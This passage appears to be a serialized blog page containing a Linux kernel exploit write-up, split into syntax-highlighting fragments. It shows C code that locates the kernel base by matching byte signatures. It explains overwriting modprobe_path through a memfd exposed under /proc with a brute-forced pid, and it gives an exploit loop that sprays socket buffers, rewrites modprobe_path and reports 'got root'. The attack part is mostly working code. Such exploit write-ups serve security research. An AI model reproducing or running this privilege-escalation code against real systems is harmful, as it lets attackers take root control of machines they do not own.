\"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n        memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n        memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n        memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n        memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n        memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n        memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n        memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n        memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n        memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n        memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n        return true;\n\n    return false;\n}\n[...]\n",[60796],{"type":23,"tag":71,"props":60797,"children":60798},{"__ignoreMap":7},[60799,60806,60836,60843,60851,60858,60866,60937,60999,61014,61021,61029,61097,61159,61220,61281,61343,61405,61466,61527,61588,61649,61710,61725,61732,61747,61754],{"type":23,"tag":230,"props":60800,"children":60801},{"class":232,"line":233},[60802],{"type":23,"tag":230,"props":60803,"children":60804},{"style":274},[60805],{"type":29,"value":12649},{"type":23,"tag":230,"props":60807,"children":60808},{"class":232,"line":243},[60809,60814,60819,60824,60828,60832],{"type":23,"tag":230,"props":60810,"children":60811},{"style":274},[60812],{"type":29,"value":60813},"static bool is_kernel_base(",{"type":23,"tag":230,"props":60815,"children":60816},{"style":256},[60817],{"type":29,"value":60818},"unsigned",{"type":23,"tag":230,"props":60820,"children":60821},{"style":256},[60822],{"type":29,"value":60823}," char",{"type":23,"tag":230,"props":60825,"children":60826},{"style":256},[60827],{"type":29,"value":12147},{"type":23,"tag":230,"props":60829,"children":60830},{"style":262},[60831],{"type":29,"value":32994},{"type":23,"tag":230,"props":60833,"children":60834},{"style":274},[60835],{"type":29,"value":4516},{"type":23,"tag":230,"props":60837,"children":60838},{"class":232,"line":252},[60839],{"type":23,"tag":230,"props":60840,"children":60841},{"style":274},[60842],{"type":29,"value":13211},{"type":23,"tag":230,"props":60844,"children":60845},{"class":232,"line":280},[60846],{"type":23,"tag":230,"props":60847,"children":60848},{"style":237},[60849],{"type":29,"value":60850},"    // thanks lau :)\n",{"type":23,"tag":230,"props":60852,"children":60853},{"class":232,"line":334},[60854],{"type":23,"tag":230,"props":60855,"children":60856},{"emptyLinePlaceholder":18},[60857],{"type":29,"value":459},{"type":23,"tag":230,"props":60859,"children":60860},{"class":232,"line":371},[60861],{"type":23,"tag":230,"props":60862,"children":60863},{"style":237},[60864],{"type":29,"value":60865},"    // get-sig kernel_runtime_1\n",{"type":23,"tag":230,"props":60867,"children":60868},{"class":232,"line":391},[60869,60873,60877,60882,60887,60891,60896,60900,60904,60909,60913,60917,60921,60925,60929,60933],{"type":23,"tag":230,"props":60870,"children":60871},{"style":866},[60872],{"type":29,"value":1493},{"type":23,"tag":230,"props":60874,"children":60875},{"style":274},[60876],{"type":29,"value":664},{"type":23,"tag":230,"props":60878,"children":60879},{"style":294},[60880],{"type":29,"value":60881},"memcmp",{"type":23,"tag":230,"props":60883,"children":60884},{"style":274},[60885],{"type":29,"value":60886},"(addr ",{"type":23,"tag":230,"props":60888,"children":60889},{"style":268},[60890],{"type":29,"value":6719},{"type":23,"tag":230,"props":60892,"children":60893},{"style":5149},[60894],{"type":29,"value":60895}," 0x0",{"type":23,"tag":230,"props":60897,"children":60898},{"style":274},[60899],{"type":29,"value":684},{"type":23,"tag":230,"props":60901,"children":60902},{"style":380},[60903],{"type":29,"value":22374},{"type":23,"tag":230,"props":60905,"children":60906},{"style":50145},[60907],{"type":29,"value":60908},"\\x48\\x8d\\x25\\x51\\x3f",{"type":23,"tag":230,"props":60910,"children":60911},{"style":380},[60912],{"type":29,"value":22374},{"type":23,"tag":230,"props":60914,"children":60915},{"style":274},[60916],{"type":29,"value":684},{"type":23,"tag":230,"props":60918,"children":60919},{"style":5149},[60920],{"type":29,"value":20429},{"type":23,"tag":230,"props":60922,"children":60923},{"style":274},[60924],{"type":29,"value":703},{"type":23,"tag":230,"props":60926,"children":60927},{"style":268},[60928],{"type":29,"value":10911},{"type":23,"tag":230,"props":60930,"children":60931},{"style":5149},[60932],{"type":29,"value":5386},{"type":23,"tag":230,"props":60934,"children":60935},{"style":268},[60936],{"type":29,"value":54457},{"type":23,"tag":230,"props":60938,"children":60939},{"class":232,"line":400},[60940,60945,60949,60953,60958,60962,60966,60971,60975,60979,60983,60987,60991,60995],{"type":23,"tag":230,"props":60941,"children":60942},{"style":294},[60943],{"type":29,"value":60944},"        memcmp",{"type":23,"tag":230,"props":60946,"children":60947},{"style":274},[60948],{"type":29,"value":60886},{"type":23,"tag":230,"props":60950,"children":60951},{"style":268},[60952],{"type":29,"value":6719},{"type":23,"tag":230,"props":60954,"children":60955},{"style":5149},[60956],{"type":29,"value":60957}," 0x7",{"type":23,"tag":230,"props":60959,"children":60960},{"style":274},[60961],{"type":29,"value":684},{"type":23,"tag":230,"props":60963,"children":60964},{"style":380},[60965],{"type":29,"value":22374},{"type":23,"tag":230,"props":60967,"children":60968},{"style":50145},[60969],{"type":29,"value":60970},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":23,"tag":230,"props":60972,"children":60973},{"style":380},[60974],{"type":29,"value":22374},{"type":23,"tag":230,"props":60976,"children":60977},{"style":274},[60978],{"type":29,"value":684},{"type":23,"tag":230,"props":60980,"children":60981},{"style":5149},[60982],{"type":29,"value":56444},{"type":23,"tag":230,"props":60984,"children":60985},{"style":274},[60986],{"type":29,"value":703},{"type":23,"tag":230,"props":60988,"children":60989},{"style":268},[60990],{"type":29,"value":10911},{"type":23,"tag":230,"props":60992,"children":60993},{"style":5149},[60994],{"type":29,"value":5386},{"type":23,"tag":230,"props":60996,"children":60997},{"style":274},[60998],{"type":29,"value":4516},{"type":23,"tag":230,"props":61000,"children":61001},{"class":232,"line":444},[61002,61006,61010],{"type":23,"tag":230,"props":61003,"children":61004},{"style":866},[61005],{"type":29,"value":3554},{"type":23,"tag":230,"props":61007,"children":61008},{"style":256},[61009],{"type":29,"value":14799},{"type":23,"tag":230,"props":61011,"children":61012},{"style":274},[61013],{"type":29,"value":511},{"type":23,"tag":230,"props":61015,"children":61016},{"class":232,"line":453},[61017],{"type":23,"tag":230,"props":61018,"children":61019},{"emptyLinePlaceholder":18},[61020],{"type":29,"value":459},{"type":23,"tag":230,"props":61022,"children":61023},{"class":232,"line":462},[61024],{"type":23,"tag":230,"props":61025,"children":61026},{"style":237},[61027],{"type":29,"value":61028},"    // get-sig kernel_runtime_2\n",{"type":23,"tag":230,"props":61030,"children":61031},{"class":232,"line":471},[61032,61036,61040,61044,61048,61052,61056,61060,61064,61069,61073,61077,61081,61085,61089,61093],{"type":23,"tag":230,"props":61033,"children":61034},{"style":866},[61035],{"type":29,"value":1493},{"type":23,"tag":230,"props":61037,"children":61038},{"style":274},[61039],{"type":29,"value":664},{"type":23,"tag":230,"props":61041,"children":61042},{"style":294},[61043],{"type":29,"value":60881},{"type":23,"tag":230,"props":61045,"children":61046},{"style":274},[61047],{"type":29,"value":60886},{"type":23,"tag":230,"props":61049,"children":61050},{"style":268},[61051],{"type":29,"value":6719},{"type":23,"tag":230,"props":61053,"children":61054},{"style":5149},[61055],{"type":29,"value":60895},{"type":23,"tag":230,"props":61057,"children":61058},{"style":274},[61059],{"type":29,"value":684},{"type":23,"tag":230,"props":61061,"children":61062},{"style":380},[61063],{"type":29,"value":22374},{"type":23,"tag":230,"props":61065,"children":61066},{"style":50145},[61067],{"type":29,"value":61068},"\\xfc\\x0f\\x01\\x15",{"type":23,"tag":230,"props":61070,"children":61071},{"style":380},[61072],{"type":29,"value":22374},{"type":23,"tag":230,"props":61074,"children":61075},{"style":274},[61076],{"type":29,"value":684},{"type":23,"tag":230,"props":61078,"children":61079},{"style":5149},[61080],{"type":29,"value":19849},{"type":23,"tag":230,"props":61082,"children":61083},{"style":274},[61084],{"type":29,"value":703},{"type":23,"tag":230,"props":61086,"children":61087},{"style":268},[61088],{"type":29,"value":10911},{"type":23,"tag":230,"props":61090,"children":61091},{"style":5149},[61092],{"type":29,"value":5386},{"type":23,"tag":230,"props":61094,"children":61095},{"style":268},[61096],{"type":29,"value":54457},{"type":23,"tag":230,"props":61098,"children":61099},{"class":232,"line":500},[61100,61104,61108,61112,61117,61121,61125,61130,61134,61138,61143,61147,61151,61155],{"type":23,"tag":230,"props":61101,"children":61102},{"style":294},[61103],{"type":29,"value":60944},{"type":23,"tag":230,"props":61105,"children":61106},{"style":274},[61107],{"type":29,"value":60886},{"type":23,"tag":230,"props":61109,"children":61110},{"style":268},[61111],{"type":29,"value":6719},{"type":23,"tag":230,"props":61113,"children":61114},{"style":5149},[61115],{"type":29,"value":61116}," 0x8",{"type":23,"tag":230,"props":61118,"children":61119},{"style":274},[61120],{"type":29,"value":684},{"type":23,"tag":230,"props":61122,"children":61123},{"style":380},[61124],{"type":29,"value":22374},{"type":23,"tag":230,"props":61126,"children":61127},{"style":50145},[61128],{"type":29,"value":61129},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":23,"tag":230,"props":61131,"children":61132},{"style":380},[61133],{"type":29,"value":22374},{"type":23,"tag":230,"props":61135,"children":61136},{"style":274},[61137],{"type":29,"value":684},{"type":23,"tag":230,"props":61139,"children":61140},{"style":5149},[61141],{"type":29,"value":61142},"12",{"type":23,"tag":230,"props":61144,"children":61145},{"style":274},[61146],{"type":29,"value":703},{"type":23,"tag":230,"props":61148,"children":61149},{"style":268},[61150],{"type":29,"value":10911},{"type":23,"tag":230,"props":61152,"children":61153},{"style":5149},[61154],{"type":29,"value":5386},{"type":23,"tag":230,"props":61156,"children":61157},{"style":268},[61158],{"type":29,"value":54457},{"type":23,"tag":230,"props":61160,"children":61161},{"class":232,"line":514},[61162,61166,61170,61174,61179,61183,61187,61192,61196,61200,61204,61208,61212,61216],{"type":23,"tag":230,"props":61163,"children":61164},{"style":294},[61165],{"type":29,"value":60944},{"type":23,"tag":230,"props":61167,"children":61168},{"style":274},[61169],{"type":29,"value":60886},{"type":23,"tag":230,"props":61171,"children":61172},{"style":268},[61173],{"type":29,"value":6719},{"type":23,"tag":230,"props":61175,"children":61176},{"style":5149},[61177],{"type":29,"value":61178}," 0x18",{"type":23,"tag":230,"props":61180,"children":61181},{"style":274},[61182],{"type":29,"value":684},{"type":23,"tag":230,"props":61184,"children":61185},{"style":380},[61186],{"type":29,"value":22374},{"type":23,"tag":230,"props":61188,"children":61189},{"style":50145},[61190],{"type":29,"value":61191},"\\x89\\xde\\x8b\\x0d",{"type":23,"tag":230,"props":61193,"children":61194},{"style":380},[61195],{"type":29,"value":22374},{"type":23,"tag":230,"props":61197,"children":61198},{"style":274},[61199],{"type":29,"value":684},{"type":23,"tag":230,"props":61201,"children":61202},{"style":5149},[61203],{"type":29,"value":19849},{"type":23,"tag":230,"props":61205,"children":61206},{"style":274},[61207],{"type":29,"value":703},{"type":23,"tag":230,"props":61209,"children":61210},{"style":268},[61211],{"type":29,"value":10911},{"type":23,"tag":230,"props":61213,"children":61214},{"style":5149},[61215],{"type":29,"value":5386},{"type":23,"tag":230,"props":61217,"children":61218},{"style":268},[61219],{"type":29,"value":54457},{"type":23,"tag":230,"props":61221,"children":61222},{"class":232,"line":897},[61223,61227,61231,61235,61240,61244,61248,61253,61257,61261,61265,61269,61273,61277],{"type":23,"tag":230,"props":61224,"children":61225},{"style":294},[61226],{"type":29,"value":60944},{"type":23,"tag":230,"props":61228,"children":61229},{"style":274},[61230],{"type":29,"value":60886},{"type":23,"tag":230,"props":61232,"children":61233},{"style":268},[61234],{"type":29,"value":6719},{"type":23,"tag":230,"props":61236,"children":61237},{"style":5149},[61238],{"type":29,"value":61239}," 0x20",{"type":23,"tag":230,"props":61241,"children":61242},{"style":274},[61243],{"type":29,"value":684},{"type":23,"tag":230,"props":61245,"children":61246},{"style":380},[61247],{"type":29,"value":22374},{"type":23,"tag":230,"props":61249,"children":61250},{"style":50145},[61251],{"type":29,"value":61252},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":23,"tag":230,"props":61254,"children":61255},{"style":380},[61256],{"type":29,"value":22374},{"type":23,"tag":230,"props":61258,"children":61259},{"style":274},[61260],{"type":29,"value":684},{"type":23,"tag":230,"props":61262,"children":61263},{"style":5149},[61264],{"type":29,"value":20739},{"type":23,"tag":230,"props":61266,"children":61267},{"style":274},[61268],{"type":29,"value":703},{"type":23,"tag":230,"props":61270,"children":61271},{"style":268},[61272],{"type":29,"value":10911},{"type":23,"tag":230,"props":61274,"children":61275},{"style":5149},[61276],{"type":29,"value":5386},{"type":23,"tag":230,"props":61278,"children":61279},{"style":268},[61280],{"type":29,"value":54457},{"type":23,"tag":230,"props":61282,"children":61283},{"class":232,"line":960},[61284,61288,61292,61296,61301,61305,61309,61314,61318,61322,61327,61331,61335,61339],{"type":23,"tag":230,"props":61285,"children":61286},{"style":294},[61287],{"type":29,"value":60944},{"type":23,"tag":230,"props":61289,"children":61290},{"style":274},[61291],{"type":29,"value":60886},{"type":23,"tag":230,"props":61293,"children":61294},{"style":268},[61295],{"type":29,"value":6719},{"type":23,"tag":230,"props":61297,"children":61298},{"style":5149},[61299],{"type":29,"value":61300}," 0x2a",{"type":23,"tag":230,"props":61302,"children":61303},{"style":274},[61304],{"type":29,"value":684},{"type":23,"tag":230,"props":61306,"children":61307},{"style":380},[61308],{"type":29,"value":22374},{"type":23,"tag":230,"props":61310,"children":61311},{"style":50145},[61312],{"type":29,"value":61313},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":23,"tag":230,"props":61315,"children":61316},{"style":380},[61317],{"type":29,"value":22374},{"type":23,"tag":230,"props":61319,"children":61320},{"style":274},[61321],{"type":29,"value":684},{"type":23,"tag":230,"props":61323,"children":61324},{"style":5149},[61325],{"type":29,"value":61326},"24",{"type":23,"tag":230,"props":61328,"children":61329},{"style":274},[61330],{"type":29,"value":703},{"type":23,"tag":230,"props":61332,"children":61333},{"style":268},[61334],{"type":29,"value":10911},{"type":23,"tag":230,"props":61336,"children":61337},{"style":5149},[61338],{"type":29,"value":5386},{"type":23,"tag":230,"props":61340,"children":61341},{"style":268},[61342],{"type":29,"value":54457},{"type":23,"tag":230,"props":61344,"children":61345},{"class":232,"line":969},[61346,61350,61354,61358,61363,61367,61371,61376,61380,61384,61389,61393,61397,61401],{"type":23,"tag":230,"props":61347,"children":61348},{"style":294},[61349],{"type":29,"value":60944},{"type":23,"tag":230,"props":61351,"children":61352},{"style":274},[61353],{"type":29,"value":60886},{"type":23,"tag":230,"props":61355,"children":61356},{"style":268},[61357],{"type":29,"value":6719},{"type":23,"tag":230,"props":61359,"children":61360},{"style":5149},[61361],{"type":29,"value":61362}," 0x45",{"type":23,"tag":230,"props":61364,"children":61365},{"style":274},[61366],{"type":29,"value":684},{"type":23,"tag":230,"props":61368,"children":61369},{"style":380},[61370],{"type":29,"value":22374},{"type":23,"tag":230,"props":61372,"children":61373},{"style":50145},[61374],{"type":29,"value":61375},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":23,"tag":230,"props":61377,"children":61378},{"style":380},[61379],{"type":29,"value":22374},{"type":23,"tag":230,"props":61381,"children":61382},{"style":274},[61383],{"type":29,"value":684},{"type":23,"tag":230,"props":61385,"children":61386},{"style":5149},[61387],{"type":29,"value":61388},"15",{"type":23,"tag":230,"props":61390,"children":61391},{"style":274},[61392],{"type":29,"value":703},{"type":23,"tag":230,"props":61394,"children":61395},{"style":268},[61396],{"type":29,"value":10911},{"type":23,"tag":230,"props":61398,"children":61399},{"style":5149},[61400],{"type":29,"value":5386},{"type":23,"tag":230,"props":61402,"children":61403},{"style":268},[61404],{"type":29,"value":54457},{"type":23,"tag":230,"props":61406,"children":61407},{"class":232,"line":4526},[61408,61412,61416,61420,61425,61429,61433,61438,61442,61446,61450,61454,61458,61462],{"type":23,"tag":230,"props":61409,"children":61410},{"style":294},[61411],{"type":29,"value":60944},{"type":23,"tag":230,"props":61413,"children":61414},{"style":274},[61415],{"type":29,"value":60886},{"type":23,"tag":230,"props":61417,"children":61418},{"style":268},[61419],{"type":29,"value":6719},{"type":23,"tag":230,"props":61421,"children":61422},{"style":5149},[61423],{"type":29,"value":61424}," 0x55",{"type":23,"tag":230,"props":61426,"children":61427},{"style":274},[61428],{"type":29,"value":684},{"type":23,"tag":230,"props":61430,"children":61431},{"style":380},[61432],{"type":29,"value":22374},{"type":23,"tag":230,"props":61434,"children":61435},{"style":50145},[61436],{"type":29,"value":61437},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":23,"tag":230,"props":61439,"children":61440},{"style":380},[61441],{"type":29,"value":22374},{"type":23,"tag":230,"props":61443,"children":61444},{"style":274},[61445],{"type":29,"value":684},{"type":23,"tag":230,"props":61447,"children":61448},{"style":5149},[61449],{"type":29,"value":6412},{"type":23,"tag":230,"props":61451,"children":61452},{"style":274},[61453],{"type":29,"value":703},{"type":23,"tag":230,"props":61455,"children":61456},{"style":268},[61457],{"type":29,"value":10911},{"type":23,"tag":230,"props":61459,"children":61460},{"style":5149},[61461],{"type":29,"value":5386},{"type":23,"tag":230,"props":61463,"children":61464},{"style":268},[61465],{"type":29,"value":54457},{"type":23,"tag":230,"props":61467,"children":61468},{"class":232,"line":4534},[61469,61473,61477,61481,61486,61490,61494,61499,61503,61507,61511,61515,61519,61523],{"type":23,"tag":230,"props":61470,"children":61471},{"style":294},[61472],{"type":29,"value":60944},{"type":23,"tag":230,"props":61474,"children":61475},{"style":274},[61476],{"type":29,"value":60886},{"type":23,"tag":230,"props":61478,"children":61479},{"style":268},[61480],{"type":29,"value":6719},{"type":23,"tag":230,"props":61482,"children":61483},{"style":5149},[61484],{"type":29,"value":61485}," 0x61",{"type":23,"tag":230,"props":61487,"children":61488},{"style":274},[61489],{"type":29,"value":684},{"type":23,"tag":230,"props":61491,"children":61492},{"style":380},[61493],{"type":29,"value":22374},{"type":23,"tag":230,"props":61495,"children":61496},{"style":50145},[61497],{"type":29,"value":61498},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":23,"tag":230,"props":61500,"children":61501},{"style":380},[61502],{"type":29,"value":22374},{"type":23,"tag":230,"props":61504,"children":61505},{"style":274},[61506],{"type":29,"value":684},{"type":23,"tag":230,"props":61508,"children":61509},{"style":5149},[61510],{"type":29,"value":20429},{"type":23,"tag":230,"props":61512,"children":61513},{"style":274},[61514],{"type":29,"value":703},{"type":23,"tag":230,"props":61516,"children":61517},{"style":268},[61518],{"type":29,"value":10911},{"type":23,"tag":230,"props":61520,"children":61521},{"style":5149},[61522],{"type":29,"value":5386},{"type":23,"tag":230,"props":61524,"children":61525},{"style":268},[61526],{"type":29,"value":54457},{"type":23,"tag":230,"props":61528,"children":61529},{"class":232,"line":4542},[61530,61534,61538,61542,61547,61551,61555,61560,61564,61568,61572,61576,61580,61584],{"type":23,"tag":230,"props":61531,"children":61532},{"style":294},[61533],{"type":29,"value":60944},{"type":23,"tag":230,"props":61535,"children":61536},{"style":274},[61537],{"type":29,"value":60886},{"type":23,"tag":230,"props":61539,"children":61540},{"style":268},[61541],{"type":29,"value":6719},{"type":23,"tag":230,"props":61543,"children":61544},{"style":5149},[61545],{"type":29,"value":61546}," 0x6a",{"type":23,"tag":230,"props":61548,"children":61549},{"style":274},[61550],{"type":29,"value":684},{"type":23,"tag":230,"props":61552,"children":61553},{"style":380},[61554],{"type":29,"value":22374},{"type":23,"tag":230,"props":61556,"children":61557},{"style":50145},[61558],{"type":29,"value":61559},"\\x48\\xc7\\xc6",{"type":23,"tag":230,"props":61561,"children":61562},{"style":380},[61563],{"type":29,"value":22374},{"type":23,"tag":230,"props":61565,"children":61566},{"style":274},[61567],{"type":29,"value":684},{"type":23,"tag":230,"props":61569,"children":61570},{"style":5149},[61571],{"type":29,"value":19616},{"type":23,"tag":230,"props":61573,"children":61574},{"style":274},[61575],{"type":29,"value":703},{"type":23,"tag":230,"props":61577,"children":61578},{"style":268},[61579],{"type":29,"value":10911},{"type":23,"tag":230,"props":61581,"children":61582},{"style":5149},[61583],{"type":29,"value":5386},{"type":23,"tag":230,"props":61585,"children":61586},{"style":268},[61587],{"type":29,"value":54457},{"type":23,"tag":230,"props":61589,"children":61590},{"class":232,"line":4559},[61591,61595,61599,61603,61608,61612,61616,61621,61625,61629,61633,61637,61641,61645],{"type":23,"tag":230,"props":61592,"children":61593},{"style":294},[61594],{"type":29,"value":60944},{"type":23,"tag":230,"props":61596,"children":61597},{"style":274},[61598],{"type":29,"value":60886},{"type":23,"tag":230,"props":61600,"children":61601},{"style":268},[61602],{"type":29,"value":6719},{"type":23,"tag":230,"props":61604,"children":61605},{"style":5149},[61606],{"type":29,"value":61607}," 0x71",{"type":23,"tag":230,"props":61609,"children":61610},{"style":274},[61611],{"type":29,"value":684},{"type":23,"tag":230,"props":61613,"children":61614},{"style":380},[61615],{"type":29,"value":22374},{"type":23,"tag":230,"props":61617,"children":61618},{"style":50145},[61619],{"type":29,"value":61620},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":23,"tag":230,"props":61622,"children":61623},{"style":380},[61624],{"type":29,"value":22374},{"type":23,"tag":230,"props":61626,"children":61627},{"style":274},[61628],{"type":29,"value":684},{"type":23,"tag":230,"props":61630,"children":61631},{"style":5149},[61632],{"type":29,"value":20739},{"type":23,"tag":230,"props":61634,"children":61635},{"style":274},[61636],{"type":29,"value":703},{"type":23,"tag":230,"props":61638,"children":61639},{"style":268},[61640],{"type":29,"value":10911},{"type":23,"tag":230,"props":61642,"children":61643},{"style":5149},[61644],{"type":29,"value":5386},{"type":23,"tag":230,"props":61646,"children":61647},{"style":268},[61648],{"type":29,"value":54457},{"type":23,"tag":230,"props":61650,"children":61651},{"class":232,"line":4587},[61652,61656,61660,61664,61669,61673,61677,61682,61686,61690,61694,61698,61702,61706],{"type":23,"tag":230,"props":61653,"children":61654},{"style":294},[61655],{"type":29,"value":60944},{"type":23,"tag":230,"props":61657,"children":61658},{"style":274},[61659],{"type":29,"value":60886},{"type":23,"tag":230,"props":61661,"children":61662},{"style":268},[61663],{"type":29,"value":6719},{"type":23,"tag":230,"props":61665,"children":61666},{"style":5149},[61667],{"type":29,"value":61668}," 0x78",{"type":23,"tag":230,"props":61670,"children":61671},{"style":274},[61672],{"type":29,"value":684},{"type":23,"tag":230,"props":61674,"children":61675},{"style":380},[61676],{"type":29,"value":22374},{"type":23,"tag":230,"props":61678,"children":61679},{"style":50145},[61680],{"type":29,"value":61681},"\\xff\\xe0",{"type":23,"tag":230,"props":61683,"children":61684},{"style":380},[61685],{"type":29,"value":22374},{"type":23,"tag":230,"props":61687,"children":61688},{"style":274},[61689],{"type":29,"value":684},{"type":23,"tag":230,"props":61691,"children":61692},{"style":5149},[61693],{"type":29,"value":5462},{"type":23,"tag":230,"props":61695,"children":61696},{"style":274},[61697],{"type":29,"value":703},{"type":23,"tag":230,"props":61699,"children":61700},{"style":268},[61701],{"type":29,"value":10911},{"type":23,"tag":230,"props":61703,"children":61704},{"style":5149},[61705],{"type":29,"value":5386},{"type":23,"tag":230,"props":61707,"children":61708},{"style":274},[61709],{"type":29,"value":4516},{"type":23,"tag":230,"props":61711,"children":61712},{"class":232,"line":4595},[61713,61717,61721],{"type":23,"tag":230,"props":61714,"children":61715},{"style":866},[61716],{"type":29,"value":3554},{"type":23,"tag":230,"props":61718,"children":61719},{"style":256},[61720],{"type":29,"value":14799},{"type":23,"tag":230,"props":61722,"children":61723},{"style":274},[61724],{"type":29,"value":511},{"type":23,"tag":230,"props":61726,"children":61727},{"class":232,"line":4619},[61728],{"type":23,"tag":230,"props":61729,"children":61730},{"emptyLinePlaceholder":18},[61731],{"type":29,"value":459},{"type":23,"tag":230,"props":61733,"children":61734},{"class":232,"line":4627},[61735,61739,61743],{"type":23,"tag":230,"props":61736,"children":61737},{"style":866},[61738],{"type":29,"value":4427},{"type":23,"tag":230,"props":61740,"children":61741},{"style":256},[61742],{"type":29,"value":11391},{"type":23,"tag":230,"props":61744,"children":61745},{"style":274},[61746],{"type":29,"value":511},{"type":23,"tag":230,"props":61748,"children":61749},{"class":232,"line":4659},[61750],{"type":23,"tag":230,"props":61751,"children":61752},{"style":274},[61753],{"type":29,"value":975},{"type":23,"tag":230,"props":61755,"children":61756},{"class":232,"line":4671},[61757],{"type":23,"tag":230,"props":61758,"children":61759},{"style":274},[61760],{"type":29,"value":12649},{"type":23,"tag":59,"props":61762,"children":61764},{"id":61763},"overwriting-modprobe_path",[61765,61767],{"type":29,"value":61766},"Overwriting ",{"type":23,"tag":71,"props":61768,"children":61770},{"className":61769},[],[61771],{"type":29,"value":60152},{"type":23,"tag":32,"props":61773,"children":61774},{},[61775,61777,61783],{"type":29,"value":61776},"Finding the ",{"type":23,"tag":71,"props":61778,"children":61780},{"className":61779},[],[61781],{"type":29,"value":61782},"/sbin/modprobe",{"type":29,"value":61784}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":23,"tag":32,"props":61786,"children":61787},{},[61788,61790,61796],{"type":29,"value":61789},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":23,"tag":71,"props":61791,"children":61793},{"className":61792},[],[61794],{"type":29,"value":61795},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":29,"value":61797}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":23,"tag":220,"props":61799,"children":61801},{"className":31417,"code":61800,"language":31419,"meta":7,"style":7},"[...]\n    puts(\"[*] overwrite modprobe_path\");\n    for (int i = 0; i \u003C 4194304; i++)\n    {\n        pipebuf->page = modprobe_page;\n        pipebuf->offset = modprobe_off;\n        pipebuf->len = 0;\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] write(socket)\");\n                break;\n            }\n        }\n\n        memset(&data, 0, PAGE_SIZE);\n        snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n        lseek(modprobe_fd, 0, SEEK_SET);\n        dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n        if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n        {\n            perror(\"\\n[-] write(pipe)\");\n        }\n\n        if (check_modprobe(fd_path))\n        {\n            puts(\"[-] failed to overwrite modprobe\");\n            break;\n        }\n\n        if (trigger_modprobe(status_fd))\n        {\n            puts(\"\\n[+] got root\");\n            goto out;\n        }\n\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] read(socket)\");\n                return -1;\n            }\n        }\n    }\n    puts(\"[-] fake modprobe failed\");\n[...]\n",[61802],{"type":23,"tag":71,"props":61803,"children":61804},{"__ignoreMap":7},[61805,61812,61834,61842,61849,61857,61865,61873,61881,61888,61896,61903,61941,61952,61959,61966,61973,62000,62031,62038,62060,62073,62080,62138,62145,62173,62180,62187,62208,62215,62236,62247,62254,62261,62282,62289,62317,62330,62337,62344,62393,62400,62468,62475,62496,62516,62523,62530,62537,62557],{"type":23,"tag":230,"props":61806,"children":61807},{"class":232,"line":233},[61808],{"type":23,"tag":230,"props":61809,"children":61810},{"style":274},[61811],{"type":29,"value":12649},{"type":23,"tag":230,"props":61813,"children":61814},{"class":232,"line":243},[61815,61820,61825,61830],{"type":23,"tag":230,"props":61816,"children":61817},{"style":274},[61818],{"type":29,"value":61819},"    puts(\"[*] ",{"type":23,"tag":230,"props":61821,"children":61822},{"style":676},[61823],{"type":29,"value":61824},"overwrite",{"type":23,"tag":230,"props":61826,"children":61827},{"style":676},[61828],{"type":29,"value":61829}," modprobe_path",{"type":23,"tag":230,"props":61831,"children":61832},{"style":380},[61833],{"type":29,"value":58065},{"type":23,"tag":230,"props":61835,"children":61836},{"class":232,"line":252},[61837],{"type":23,"tag":230,"props":61838,"children":61839},{"style":380},[61840],{"type":29,"value":61841},"    for (int i = 0; i \u003C 4194304; i++)\n",{"type":23,"tag":230,"props":61843,"children":61844},{"class":232,"line":280},[61845],{"type":23,"tag":230,"props":61846,"children":61847},{"style":380},[61848],{"type":29,"value":31494},{"type":23,"tag":230,"props":61850,"children":61851},{"class":232,"line":334},[61852],{"type":23,"tag":230,"props":61853,"children":61854},{"style":380},[61855],{"type":29,"value":61856},"        pipebuf->page = 